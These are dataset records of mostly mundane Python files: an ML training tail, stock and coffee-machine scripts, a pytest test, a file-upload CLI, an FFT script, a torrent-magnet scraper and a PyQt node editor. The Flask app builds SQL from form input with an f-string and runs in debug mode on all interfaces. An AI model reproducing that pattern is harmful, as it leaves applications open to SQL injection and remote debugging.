epoch in tqdm(range(epochs)):\n        train(train_loader, epoch, mlp1, optimizer1, mlp2, optimizer2, device)\n        \n    mlp1.eval()\n\n    test_loader = torch.utils.data.DataLoader(dataset=test_data, batch_size=batch_size, shuffle=False)\n    preds = predict(test_loader, mlp1, device)\n    np.save(os.path.join(result_dir, 'prediction.npy'), preds)\n\n    mlp1 = mlp1.cpu()\n    mlp1.to_cpu()\n    torch.save(mlp1, os.path.join(model_dir, 'Detection_Model.pkl'))\n\n","repo_name":"XXnormal/RAPIER","sub_path":"Classifier/classify.py","file_name":"classify.py","file_ext":"py","file_size_in_byte":5323,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"10035077928","text":"import pandas as pd\nfrom datetime import date\nimport os\n\nfrom functions.menu_stocks import menu_stocks\nfrom functions.get_stocks import *\nfrom functions.read_csv import read_csv\n\noption = menu_stocks()\nif option[1] == '':\n  print('Não há informação sobre este setor na API.')\nelse:\n  stock_list = get_stock_list(option[0])\n  df_columns = get_stock_columns(stock_list[0])\n\n  df = pd.DataFrame(columns=df_columns)\n\n  for stock in stock_list:\n    df_data = get_stock_information(stock)\n    df = pd.concat([df, pd.DataFrame(columns=df_columns, data=[df_data])])\n\n  clean_float_columns(df, list(df.iloc[:, [5]].columns), decimal = True)\n  clean_float_columns(df, list(df.iloc[:, 7:9].columns), decimal = True)\n  clean_float_columns(df, list(df.iloc[:, 9:12].columns))\n  clean_float_columns(df, list(df.iloc[:, [13]].columns))\n  clean_float_columns(df, list(df.iloc[:, 14:46].columns), decimal = True)\n  clean_float_columns(df, list(df.iloc[:, 46:].columns))\n\n  indicators = [\n    'Subsetor',\n    'Vol $ méd (2m)',\n    'Dia (%)',\n    'Mês (%)',\n    '30 dias (%)',\n    '12 meses (%)',\n    '2022 (%)',\n    '2021 (%)',\n    '2020 (%)',\n    '2019 (%)',\n    '2018 (%)',\n    '2017 (%)',\n    'P/L',\n    'P/VP',\n    'P/EBIT',\n    'PSR',\n    'Div. Yield',\n    'EV / EBITDA',\n    'EV / EBIT',\n    'Cres. Rec (5a)',\n    'Marg. Bruta',\n    'Marg. EBIT',\n    'Marg. Líquida',\n    'EBIT / Ativo',\n    'ROIC',\n    'ROE',\n    'Liquidez Corr',\n    'Div Br/ Patrim',\n    'Giro Ativos'\n  ]\n  df_aux = df[indicators]\n  media_setor = df_aux[indicators].groupby('Subsetor').agg(['mean','std'])\n\n  print ('Gerando arquivo...')\n\n  t = date.today().strftime(\"%Y-%m-%d\")\n  filename = 'outputs/stocks_alanysis_sector_'+str(option[1]).replace(',', '')+'_'+t+'.xlsx'\n\n  if os.path.exists(filename):\n      os.remove(filename)\n\n  with pd.ExcelWriter(filename) as writer:\n      media_setor.to_excel(writer, sheet_name='GENERAL', encoding='utf8')\n      df.to_excel(writer, sheet_name=option[1], encoding='utf8')\n\n  print ('Finalizado.')","repo_name":"marcuslamounier/simple-stock-analysis","sub_path":"Stocks.py","file_name":"Stocks.py","file_ext":"py","file_size_in_byte":2003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23209194139","text":"import config\nimport MySQLdb\nfrom flask import Flask , render_template,request , redirect,jsonify, flash, url_for, Response, session\nfrom flask_login import LoginManager, UserMixin, login_required, login_user, logout_user, current_user\nfrom flask_limiter import Limiter\nfrom flask_limiter.util import get_remote_address\n\napp = Flask(__name__)\n\n# config\napp.config.update(\n    SECRET_KEY = config.secret_key\n)\n\nlimiter = Limiter(\n    app,\n    key_func=get_remote_address,\n)\n\n# flask-login\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\nlogin_manager.login_view = \"login\"\n\n\n# silly user model\nclass User(UserMixin):\n\n    def __init__(self, id):\n        self.id = id\n        \n    def __repr__(self):\n        return \"%d\" % (self.id)\n\n\n# create some users with ids 1 to 20       \nuser = User(0)\n\n# somewhere to logout\n@app.route(\"/logout\")\n@login_required\ndef logout():\n    logout_user()\n    return redirect('login')   \n    \n# callback to reload the user object        \n@login_manager.user_loader\ndef load_user(userid):\n    return User(userid)    \n\n@app.errorhandler(404)\n@login_required\ndef page_not_found(e):\n    # note that we set the 404 status explicitly\n    return render_template('404.html'), 404\n\n@app.route(\"/ok\")\ndef sys_check():\n    '''this function tell that falsk server is ok and running!!'''\n    ret = {'status':'ok','message':'[+] flask server is running'}\n    return jsonify(ret) , 200\n\n@app.route('/')\n@login_required\ndef index(): \n    all_work = reading_from_database()\n    works = []\n    for work in all_work:\n        name , title , message = work\n        works.append({\"name\":name,\"title\":title,\"message\":message})\n\n    return render_template('index.html', data = {\"works\" : works})\n\n@app.route('/login',methods=[\"GET\", \"POST\"])\n@limiter.limit(\"10 per minute\")\ndef login():\n    '''this function return login page'''\n    error = None\n    if current_user.is_authenticated:\n        return redirect(\"/\")\n    if request.method == 'POST':\n        username = request.form[\"username\"]\n        password = request.form[\"Password\"]\n        if check(username,password):\n            login_user(user)\n            flash('You were successfully logged in','info')\n            return redirect(url_for('index'))\n        else:\n            error = '!!!invalid user!!!' \n               \n    return render_template('login.html', error=error)\n\n@app.route('/add',methods=[\"GET\", \"POST\"])\n@login_required\ndef add():\n    if request.method == 'POST':\n        name = request.form[\"name\"]\n        titlew = request.form[\"titlew\"]\n        message = request.form[\"message\"]\n        writing_to_database(name,titlew,message)\n        return redirect('/')\n\n    else:\n        return render_template('add.html')\n\ndef check(username,password):\n    res = False\n    if username == config.usernamein and password == config.passwordin:\n        res = True\n    return res               \n\ndef writing_to_database(name,titlew,message):\n    db = connect_to_database()\n    cur = db.cursor()                       \n    qury = f'INSERT INTO works VALUES (\"{name}\",\"{titlew}\",\"{message}\");'\n    cur.execute(qury)\n    db.commit()\n    db.close()\n\ndef reading_from_database():\n    db = connect_to_database()\n    cur = db.cursor()\n    cur.execute(\"SELECT * FROM works;\")\n    db.close()\n    return cur.fetchall()\n\ndef connect_to_database():\n    db = MySQLdb.connect(host=config.MYSQL_HOST,\n                       user=config.MYSQL_USER,\n                       passwd=config.MYSQL_PASS,\n                       db=config.MYSQL_DB,\n                       charset=config.charset)\n    return db\n\nif __name__ == \"__main__\":\n    app.run(\"0.0.0.0\",5000,debug=True)\n    ","repo_name":"rapexa/gameh_dovom_enghelab","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3631,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"}
+{"seq_id":"29234544047","text":"from decimal import Decimal\n\nimport pytest\n\nfrom maps_adv.billing_proxy.lib.db.enums import BillingType, FixTimeIntervalType\nfrom maps_adv.billing_proxy.lib.domain.exceptions import ProductDoesNotExist\n\npytestmark = [pytest.mark.asyncio, pytest.mark.mock_dm]\n\n\nasync def test_uses_dm(products_domain, products_dm):\n    products_dm.find_product.coro.return_value = {\n        \"id\": 1,\n        \"oracle_id\": 123,\n        \"billing_type\": BillingType.CPM,\n        \"billing_data\": {\"base_cpm\": 50},\n    }\n\n    result = await products_domain.retrieve_product(1)\n\n    products_dm.find_product.assert_called_with(1)\n    assert result == {\n        \"id\": 1,\n        \"oracle_id\": 123,\n        \"billing\": {\"cpm\": {\"base_cpm\": Decimal(\"50\")}},\n    }\n\n\n@pytest.mark.parametrize(\n    (\"billing_type\", \"billing_data\", \"expected_billing\"),\n    [\n        (BillingType.CPM, {\"base_cpm\": 50}, {\"cpm\": {\"base_cpm\": Decimal(\"50\")}}),\n        (BillingType.CPM, {\"base_cpm\": 150}, {\"cpm\": {\"base_cpm\": Decimal(\"150\")}}),\n        (\n            BillingType.FIX,\n            {\"cost\": 50, \"time_interval\": \"DAILY\"},\n            {\n                \"fix\": {\n                    \"cost\": Decimal(\"50\"),\n                    \"time_interval\": FixTimeIntervalType.DAILY,\n                }\n            },\n        ),\n        (\n            BillingType.FIX,\n            {\"cost\": 150, \"time_interval\": \"WEEKLY\"},\n            {\n                \"fix\": {\n                    \"cost\": Decimal(\"150\"),\n                    \"time_interval\": FixTimeIntervalType.WEEKLY,\n                }\n            },\n        ),\n        (\n            BillingType.FIX,\n            {\"cost\": 150, \"time_interval\": \"MONTHLY\"},\n            {\n                \"fix\": {\n                    \"cost\": Decimal(\"150\"),\n                    \"time_interval\": FixTimeIntervalType.MONTHLY,\n                }\n            },\n        ),\n    ],\n)\nasync def test_return_data(\n    products_domain, products_dm, billing_type, billing_data, expected_billing\n):\n    products_dm.find_product.coro.return_value = {\n        \"id\": 1,\n        \"oracle_id\": 123,\n        \"billing_type\": billing_type,\n        \"billing_data\": billing_data,\n    }\n\n    result = await products_domain.retrieve_product(1)\n\n    assert result == {\"id\": 1, \"oracle_id\": 123, \"billing\": expected_billing}\n\n\nasync def raises_for_inexistent_product(products_domain, products_dm):\n    products_dm.find_product.coro.return_value = None\n\n    with pytest.raises(ProductDoesNotExist) as exc:\n        await products_domain.retrieve_product(1)\n\n    assert exc.value.product_id == 1\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/domain/products/test_retrieve_product.py","file_name":"test_retrieve_product.py","file_ext":"py","file_size_in_byte":2546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12519139682","text":"def print_report(water, milk, coffee, money):\n    print(f\"\"\"\nWater: {water}ml\nMilk: {milk}ml\nCoffee: {coffee}g\nMoney: ${money}\n          \"\"\")\ndef main():\n    # initiate resources\n    from menu import resources, MENU\n    water_amount = resources[\"water\"]\n    milk_amount = resources[\"milk\"]\n    coffee_amount = resources[\"coffee\"]\n    money_amount = 0\n\n    is_on = True\n    while is_on:\n        # ask consumer to select coffee\n        coffee = input(\"What would you like? (espresso/latte/cappuccino): \")\n\n        if coffee == \"off\":\n            is_on = False\n        elif coffee == \"report\": # note using elif here is much cleaner than using while\n            print_report(water_amount, milk_amount, coffee_amount, money_amount)\n        else:\n            water_needed = MENU[coffee]['ingredients']['water']\n            milk_needed = MENU[coffee]['ingredients']['milk']\n            coffee_needed = MENU[coffee]['ingredients']['coffee']\n            money_needed = MENU[coffee]['cost']\n\n            if water_needed > water_amount:\n                print(\"Sorry there is not enough water.\")\n            elif milk_needed > milk_amount:\n                print(\"Sorry there is not enough milk.\")\n            elif coffee_needed > coffee_amount:\n                print(\"Sorry there is not enough coffee.\")\n            else:\n                print(\"Please insert coins.\")\n                quarters = int(input(\"How many quarters?: \"))\n                dimes = int(input(\"How many dimes?: \"))\n                nickles = int(input(\"How many nickles?: \"))\n                pennies = int(input(\"How many pennies?: \"))\n\n                money_insert = 0.25 * quarters + 0.1 * dimes + 0.05 * nickles + 0.01 * pennies\n\n                if money_insert < money_needed:\n                    print(\"Sorry that's not enough money. Money refunded\")\n                else:\n                    water_amount -= water_needed\n                    milk_amount -= milk_needed\n                    coffee_amount -= coffee_needed\n                    money_amount += money_needed\n                    money_refund = money_insert - money_needed\n                    print(f\"Here is {money_refund} in change.\")\n                    print(f\"Here is your {coffee}. Please enjoy!\")\n\nif __name__ == '__main__':\n    main()\n","repo_name":"kokoror/Python-projects","sub_path":"coffee_machine/no_oop_version/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"10620411093","text":"#!/usr/bin/env python3\nimport argparse\nimport mimetypes\nfrom subprocess import PIPE\nimport sys\nimport magic\nimport subprocess\nimport os\nfrom slugify import slugify\nfrom .getseq import getseq\n\ndef main():\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument(\n\t\t\"file\",\n\t\thelp=\"the file to upload to the server\"\n\t)\n\tparser.add_argument(\n\t\t\"-s\",\n\t\t\"--server\",\n\t\thelp=\"ssh server\",\n\t\tdefault=\"snoot.club\"\n\t)\n\tparser.add_argument(\n\t\t\"-u\",\n\t\t\"--user\",\n\t\thelp=\"ssh user\",\n\t\tdefault=\"share\"\n\t)\n\tparser.add_argument(\n\t\t\"-d\",\n\t\t\"--server-root\",\n\t\thelp=\"directory root\",\n\t\tdefault=\"/snoots/share/share.snoot.club/website\"\n\t)\n\tparser.add_argument(\n\t\t\"-p\",\n\t\t\"--public-root\",\n\t\thelp=\"the prefix for the public url\",\n\t\tdefault=\"https://share.snoot.club\"\n\t)\n\n\targs = parser.parse_args()\n\n\tmimetypes.init()\n\tsource = None\n\n\tif args.file.startswith(\"/tmp/.psub\") or args.file.startswith(\"/dev/fd\"):\n\t\tsource = args.file\n\t\tprefix = getseq()\n\t\thead = open(args.file, \"rb\").read(2048)\n\t\text = mimetypes.guess_extension(magic.from_buffer(head, True))\n\t\toutput_filename = f\"{prefix}{ext}\"\n\telif args.file.startswith(\"https://\") or args.file.startswith(\"http://\"):\n\t\tsource = f\"/tmp/{getseq()}.html\"\n\t\twith open(source, \"t+w\") as file:\n\t\t\tfile.write(f\"\"\"<!doctype html><meta http-equiv=\"refresh\" content=\"0;url={args.file}\"><a href=\"{args.file}\">{args.file}</a>\"\"\")\n\n\t\toutput_filename = \"index.html\"\n\telse:\n\t\tsource = args.file\n\t\t[name, ext] = os.path.splitext(os.path.basename(args.file))\n\t\toutput_filename = f\"{slugify(name)}{ext}\"\n\n\tdirname = getseq()\n\n\tssh_target = f\"{args.user}@{args.server}\"\n\n\tdestdir = f\"{args.server_root}/{dirname}\"\n\tsubprocess.run([\"ssh\", ssh_target, \"mkdir\", \"-p\", destdir])\n\tsubprocess.run([\n\t\t\"rsync\",\n\t\t\"-zL\",\n\t\t\"--progress\",\n\t\t\"--chmod=a+rw\",\n\t\tsource,\n\t\tf\"{ssh_target}:{destdir}/{output_filename}\"\n\t], stdout=PIPE)\n\n\toutput = f\"{args.public_root}/{dirname}/\"\n\tif output_filename is not \"index.html\":\n\t\toutput += output_filename\n\tprint(output)\n\n\nif __name__ == \"__main__\":\n\tsys.exit(main())\n","repo_name":"chee/share","sub_path":"share/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":2005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35788328233","text":"# 这样的请求效率太低，尝试用多线程的方式优化,分布式\n# 需要将数据做成队列的形式\nimport time\nimport requests\nfrom queue import Queue\nfrom bs4 import BeautifulSoup\nfrom lxml import etree\n\n\nstart_url = 'https://www.141jav.com/new'\n# create a Queue对象\ndownload_pages = 0\n\ndef fetch(url):\n    r = requests.get(url)\n    if r.status_code !=200:\n        r.raise_for_status()\n    global download_pages    # 设定为全局变量以通用使用\n    download_pages +=1  # 每完成一次下载自动计数+1\n    return r.text\n\n\ndef process_data(data):\n     # 处理数据\n     if data:\n         print(data)\n\n\ndef parse_page_info(url):\n    detail_selector = etree.HTML(fetch(url))\n    # 将所有信息存储在一个字典里，方便后续使用\n    data = {}\n    data['title'] = detail_selector.xpath('normalize-space(.//h5[@class=\"title is-4 is-spaced\"]/a/text())')\n    data['actress'] = detail_selector.xpath('.//a[@class=\"panel-block\"]/text()')\n    data['magnet'] = detail_selector.xpath('.//a[@title=\"Magnet torrent\"]/@href')\n    data['tag'] = detail_selector.xpath('normalize-space(string(//div[@class=\"tags\"]))')\n    return data\n\nif __name__ == '__main__':\n    start_time = time.time() # 设定初始时间\n    # 请求入口页面\n    selector = etree.HTML(fetch(start_url))\n    # 解析页面text，获取对应的每个页面的link\n    links = selector.xpath('//h5[@class=\"title is-4 is-spaced\"]/a/@href')\n    for link in links:\n        if not link.startswith('https://www.141jav.com'):\n            link = 'https://www.141jav.com%s' % link\n            data = parse_page_info(link)\n            process_data(data)\n    cost_seconds = time.time() - start_time # 计算下载时间\n    print('download %s pages, cost %.2f seconds' %\n    (download_pages, cost_seconds))\n","repo_name":"guaidao111/scrapy_learning","sub_path":"mteamproject-requests&bs4/141_example.py","file_name":"141_example.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34446817252","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# 14.py\n\n\"\"\"\n17. １列目の文字列の異なり\n1列目の文字列の種類（異なる文字列の集合）を求めよ．確認にはsort, uniqコマンドを用いよ．\n\"\"\"\n\nwith open('data/hightemp.txt', 'r') as f:\n    lines = f.read().rstrip().split('\\n')\n    first_lines_set = set([line.split('\\t')[0] for line in lines])\n\nprint(first_lines_set)\nimport subprocess\n\nprint(\"\")\nprint(\"sort command\")\ncmd_paste = \"cut -f1 data/hightemp.txt | sort | uniq\"\nresult = subprocess.Popen(cmd_paste, shell=True)\nstdout, stderr = result.communicate()\n","repo_name":"st2one/nlp100","sub_path":"chapter02/17.py","file_name":"17.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32356856633","text":"import numpy as np\nimport matplotlib.image as mpimg\nimport matplotlib.pyplot as plt\nimport pathlib\nimport time\n\ndef shift(s1, s2):\n    s1, s2 = np.array(s1, dtype = 'float64'), np.array(s2, dtype = 'float64')\n    s1 -= np.mean(s1)\n    s2 -= np.mean(s2)\n    \n    f1 = np.fft.fft(s1)\n    f2 = np.ma.conjugate( np.fft.fft(s2) )\n    \n    corr =  np.abs( np.fft.ifft(f1 * f2))\n    c = corr / np.sqrt( (s1 ** 2).sum() * (s2 ** 2).sum() )\n    \n    shift = c.argmax()\n    return(shift )\n\ndirectory = pathlib.Path(\"/home/conpucter/GitHub/try/lessons/notafolder\")\n\nfile = str(directory / \"corr_shift.npy\")\n\nt1 = time.time()\n\nimage = np.load(str(file))\n\nresult = [image[0,:]]\n\nfor stroke in image[1:]:\n    result.append( np.roll(stroke, shift(image[0, :], stroke) ) )\n\nresult = np.array(result)\n\nprint(time.time() - t1)\n\nplt.subplot(121)\nplt.imshow(image)\nplt.subplot(122)\nplt.imshow(result)","repo_name":"IlyaMbot/IN_Practices","sub_path":"26_10_21/task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38086642715","text":"from PyQt5.QtGui import QFont\n\nfrom numerical_prototyper.nodes.numerical_input_nodes import TestNumericalInputNodeContent\nfrom numerical_prototyper.nodes.numerical_node_base import NumericalNode, NumericalGraphicsNode, OutputGraphicsNode\nfrom numerical_prototyper.numerical_node_content import EvaluateFunctionContent\nfrom numerical_prototyper.numerical_node_customization_window_base import NumberInputNodeCustomizationWindow, \\\n    FunctionInputNodeCustomizationWindow, EvaluateFunctionNodeCustomizationWindow, MatrixInputNodeCustomizationWindow, \\\n    FunctionZeroSearchNodeCustomizationWindow\n\nLISTBOX_MIMETYPE = \"application/x-item\"\nLISTBOX_MIMETYPE_ALT = \"application/x-item-alt\"\n\nNUM_NODE_INPUT_NUMBER = 1\nNUM_NODE_INPUT_FUNCTION = 2\nNUM_NODE_INPUT_MATRIX = 3\nNUM_NODE_INPUT_BOOL = 4\nNUM_NODE_INPUT_COMPLEX = 5\n\nNUM_NODE_EVALUATE_FUNCTION = 6\nNUM_NODE_TRANSPOSE = 7\nNUM_NODE_CONDITION_NUMBER = 8\nNUM_NODE_CONFIGURABLE = 9\nNUM_NODE_ADD = 10\n\n\"\"\"\nNUM_NONE_SUBTRACT = 6\nNUM_NODE_MULTIPLY = 7\nNUM_NODE_DIVIDE = 8\nNUM_NODE_SQUARE_ROOT = 9\nNUM_NODE_POWER = 10\nNUM_NODE_ABS = 11\n\"\"\"\n\nNUM_NODE_OUTPUT = 20\n\nNUMERIC_NODES = {\n}\n\nANONYMOUS_INPUT_COUNTER = 0\n\n\nclass ConfException(Exception): pass\n\n\nclass InvalidNodeRegistration(ConfException): pass\n\n\nclass OpCodeNotRegistered(ConfException): pass\n\n\ndef register_node_now(op_code, class_reference):\n    if op_code in NUMERIC_NODES:\n        raise InvalidNodeRegistration(\"Duplicate node registration of '%s'. There is already %s\" % (\n            op_code, NUMERIC_NODES[op_code]\n        ))\n    NUMERIC_NODES[op_code] = class_reference\n\n\ndef register_numeric_node(op_code):\n    def decorator(original_class):\n        register_node_now(op_code, original_class)\n        return original_class\n\n    return decorator\n\n\ndef get_class_from_opcode(op_code):\n    if op_code not in NUMERIC_NODES: raise OpCodeNotRegistered(\"OpCode '%d' is not registered\" % op_code)\n    return NUMERIC_NODES[op_code]\n\n\n@register_numeric_node(NUM_NODE_EVALUATE_FUNCTION)\nclass EvaluateFunctionNode(NumericalNode):\n    op_code = NUM_NODE_EVALUATE_FUNCTION\n    op_title = \"Evaluate function\"\n\n    def __init__(self, scene):\n        super().__init__(scene, inputs=[2], outputs=[1])\n        self.customizationWindow = EvaluateFunctionNodeCustomizationWindow()\n        self.functionName = ''\n        self.argumentName = ''\n        self.useVariable = False\n        self.printOutput = False\n        self.variableName = ''\n        self.nodeOutputs = [\"\"]\n\n    def initInnerClasses(self):\n        self.content = EvaluateFunctionContent(self)\n        self.grNode = NumericalGraphicsNode(self)\n        self.content.edit.textChanged.connect(lambda: self.setArgumentValue(self.content.edit.text()))\n\n    def getScriptRepresentation(self):\n        res = \"\"\n\n        if self.functionName == '' or self.argumentName == '':\n            return res\n\n        if self.variableName != '':\n            res += f'{self.variableName} = '\n\n        res += f'{str(self.functionName)}({self.argumentName})'\n\n        if not self.printOutput:\n            res += \";\"\n\n        return res\n\n    def onDoubleClicked(self, event):\n        self.customizationWindow.openWindow()\n\n        retrievedVariableName = self.customizationWindow.getParameterValue(\n            self.customizationWindow.variableNameParameterKey)\n\n        if retrievedVariableName is not None:\n            self.variableName = retrievedVariableName\n\n        retrievedUseVariableValue = self.customizationWindow.getParameterValue(\n            self.customizationWindow.useVariableKey)\n        self.useVariable = retrievedUseVariableValue\n\n        retrievedPrintOutputValue = self.customizationWindow.getParameterValue(\n            self.customizationWindow.printOutputKey)\n        self.printOutput = retrievedPrintOutputValue\n\n        if self.variableName == '':\n            outputValue = f'{str(self.functionName)}({self.argumentName})'\n        else:\n            outputValue = self.variableName\n\n        self.nodeOutputs = [outputValue]\n\n        self.markDescendantsDirty()\n\n    def onInputChanged(self, socket: None):\n        self.eval()\n\n    def onMarkedDirty(self):\n        self.eval()\n\n    def eval(self, index=0):\n\n        \"\"\"or self.getInput(1) is None:\"\"\"\n        if self.getInput(0) is None:\n            self.functionName = None\n            # self.argumentName = None\n            return\n\n        self.functionName = self.getInput(0).nodeOutputs[0]\n        # self.argumentName = self.getInput(1).nodeOutputs[0]\n\n        if self.variableName == '' or not self.useVariable:\n            outputValue = f'{str(self.functionName)}({self.argumentName})'\n        else:\n            outputValue = self.variableName\n\n        self.nodeOutputs = [outputValue]\n\n    def setArgumentValue(self, value):\n        if value != '':\n            self.argumentName = value\n\n\n@register_numeric_node(NUM_NODE_TRANSPOSE)\nclass TransposeMatrixNode(NumericalNode):\n    op_code = NUM_NODE_TRANSPOSE\n    op_title = \"Transpose matrix\"\n\n    def __init__(self, scene):\n        super().__init__(scene, inputs=[0], outputs=[0])\n        self.customizationWindow = EvaluateFunctionNodeCustomizationWindow()\n        self.matrixValue = ''\n        self.useVariable = False\n        self.printOutput = False\n        self.variableName = ''\n        self.nodeOutputs = [\"\"]\n\n    def getScriptRepresentation(self):\n        res = \"\"\n\n        if self.matrixValue == '':\n            return res\n\n        if self.variableName != '':\n            res += f'{self.variableName} = '\n\n        res += f'{self.matrixValue}\\''\n\n        if not self.printOutput:\n            res += \";\"\n\n        return res\n\n    def onDoubleClicked(self, event):\n        self.customizationWindow.openWindow()\n\n        retrievedVariableName = self.customizationWindow.getParameterValue(\n            self.customizationWindow.variableNameParameterKey)\n\n        if retrievedVariableName is not None:\n            self.variableName = retrievedVariableName\n\n        retrievedUseVariableValue = self.customizationWindow.getParameterValue(\n            self.customizationWindow.useVariableKey)\n        self.useVariable = retrievedUseVariableValue\n\n        retrievedPrintOutputValue = self.customizationWindow.getParameterValue(\n            self.customizationWindow.printOutputKey)\n        self.printOutput = retrievedPrintOutputValue\n\n        if self.variableName == '':\n            outputValue = f'{self.matrixValue}\\''\n        else:\n            outputValue = self.variableName\n\n        self.nodeOutputs = [outputValue]\n\n        self.markDescendantsDirty()\n\n    def onInputChanged(self, socket: None):\n        self.eval()\n\n    def onMarkedDirty(self):\n        self.eval()\n\n    def eval(self, index=0):\n\n        if self.getInput(0) is None:\n            self.matrixValue = None\n            return\n\n        self.matrixValue = self.getInput(0).nodeOutputs[0]\n\n        if self.variableName == '' or not self.useVariable:\n            outputValue = f'{self.matrixValue}\\''\n        else:\n            outputValue = self.variableName\n\n        if self.matrixValue.strip() == '':\n            outputValue = ''\n\n        self.nodeOutputs = [outputValue]\n\n\n@register_numeric_node(NUM_NODE_CONDITION_NUMBER)\nclass ConditionNumberNode(NumericalNode):\n    op_code = NUM_NODE_CONDITION_NUMBER\n    op_title = \"Find Condition Number\"\n\n    def __init__(self, scene):\n        super().__init__(scene, inputs=[0], outputs=[1])\n        self.customizationWindow = EvaluateFunctionNodeCustomizationWindow()\n        self.matrixValue = ''\n        self.useVariable = False\n        self.printOutput = False\n        self.variableName = ''\n        self.nodeOutputs = [\"\"]\n\n    def getScriptRepresentation(self):\n        res = \"\"\n\n        if self.matrixValue == '':\n            return res\n\n        if self.variableName != '':\n            res += f'{self.variableName} = '\n\n        res += f'cond({self.matrixValue})'\n\n        if not self.printOutput:\n            res += \";\"\n\n        return res\n\n    def onDoubleClicked(self, event):\n        self.customizationWindow.openWindow()\n\n        retrievedVariableName = self.customizationWindow.getParameterValue(\n            self.customizationWindow.variableNameParameterKey)\n\n        if retrievedVariableName is not None:\n            self.variableName = retrievedVariableName\n\n        retrievedUseVariableValue = self.customizationWindow.getParameterValue(\n            self.customizationWindow.useVariableKey)\n        self.useVariable = retrievedUseVariableValue\n\n        retrievedPrintOutputValue = self.customizationWindow.getParameterValue(\n            self.customizationWindow.printOutputKey)\n        self.printOutput = retrievedPrintOutputValue\n\n        if self.variableName == '':\n            outputValue = f'cond({self.matrixValue})'\n        else:\n            outputValue = self.variableName\n\n        self.nodeOutputs = [outputValue]\n\n        self.markDescendantsDirty()\n\n    def onInputChanged(self, socket: None):\n        self.eval()\n\n    def onMarkedDirty(self):\n        self.eval()\n\n    def eval(self, index=0):\n\n        if self.getInput(0) is None:\n            self.matrixValue = None\n            return\n\n        self.matrixValue = self.getInput(0).nodeOutputs[0]\n\n        if self.variableName == '' or not self.useVariable:\n            outputValue = f'cond({self.matrixValue})'\n        else:\n            outputValue = self.variableName\n\n        if self.matrixValue.strip() == '':\n            outputValue = ''\n\n        self.nodeOutputs = [outputValue]\n\n\n@register_numeric_node(NUM_NODE_ADD)\nclass AddNumbersNode(NumericalNode):\n    op_code = NUM_NODE_ADD\n    op_title = \"Add Numbers\"\n\n    def __init__(self, scene):\n        super().__init__(scene, inputs=[1, 1], outputs=[1])\n        self.customizationWindow = EvaluateFunctionNodeCustomizationWindow()\n        self.firstNumberName = ''\n        self.secondNumberName = ''\n        self.useVariable = False\n        self.printOutput = False\n        self.variableName = ''\n        self.nodeOutputs = [\"\"]\n\n    def getScriptRepresentation(self):\n        res = \"\"\n\n        if self.firstNumberName == '' or self.secondNumberName == '':\n            return res\n\n        if self.variableName != '':\n            res += f'{self.variableName} = '\n\n        res += f'{str(self.firstNumberName)} + {self.secondNumberName}'\n\n        if not self.printOutput:\n            res += \";\"\n\n        return res\n\n    def onDoubleClicked(self, event):\n        self.customizationWindow.openWindow()\n\n        retrievedVariableName = self.customizationWindow.getParameterValue(\n            self.customizationWindow.variableNameParameterKey)\n\n        if retrievedVariableName is not None:\n            self.variableName = retrievedVariableName\n\n        retrievedUseVariableValue = self.customizationWindow.getParameterValue(\n            self.customizationWindow.useVariableKey)\n        self.useVariable = retrievedUseVariableValue\n\n        retrievedPrintOutputValue = self.customizationWindow.getParameterValue(\n            self.customizationWindow.printOutputKey)\n        self.printOutput = retrievedPrintOutputValue\n\n        if self.variableName == '':\n            outputValue = f'{str(self.firstNumberName)} + {self.secondNumberName}'\n        else:\n            outputValue = self.variableName\n\n        self.nodeOutputs = [outputValue]\n\n        self.markDescendantsDirty()\n\n    def onInputChanged(self, socket: None):\n        self.eval()\n\n    def onMarkedDirty(self):\n        self.eval()\n\n    def eval(self, index=0):\n\n        if self.getInput(0) is None or self.getInput(1) is None:\n            self.firstNumberName = None\n            self.secondNumberName = None\n            return\n\n        self.firstNumberName = self.getInput(0).nodeOutputs[0]\n        self.secondNumberName = self.getInput(1).nodeOutputs[0]\n\n        if self.variableName == '' or not self.useVariable:\n            outputValue = f'{str(self.firstNumberName)} + {self.secondNumberName}'\n        else:\n            outputValue = self.variableName\n\n        self.nodeOutputs = [outputValue]\n\n\n@register_numeric_node(NUM_NODE_INPUT_NUMBER)\nclass NumberInputNode(NumericalNode):\n    op_code = NUM_NODE_INPUT_NUMBER\n    op_title = \"Number Input\"\n\n    def __init__(self, scene):\n        super().__init__(scene, inputs=[], outputs=[1])\n        self.customizationWindow = NumberInputNodeCustomizationWindow()\n        self.inputValue = ''\n        self.inputVariableName = None\n        self.printVariable = False\n        self.nodeOutputs = [\"\"]\n\n    def getScriptRepresentation(self):\n        res = \"\"\n\n        if self.inputValue == '':\n            return res\n\n        if self.inputVariableName != '':\n            res += f'{str(self.inputVariableName)} = '\n\n        res += f'{str(self.inputValue)}'\n\n        if not self.printVariable:\n            res += \";\"\n\n        return res\n\n    def initInnerClasses(self):\n        self.content = TestNumericalInputNodeContent(self)\n        self.grNode = NumericalGraphicsNode(self)\n\n    def onDoubleClicked(self, event):\n        self.customizationWindow.openWindow()\n\n        retrievedValue = self.customizationWindow.getParameterValue(self.customizationWindow.valueParameterKey)\n        if retrievedValue is not None:\n            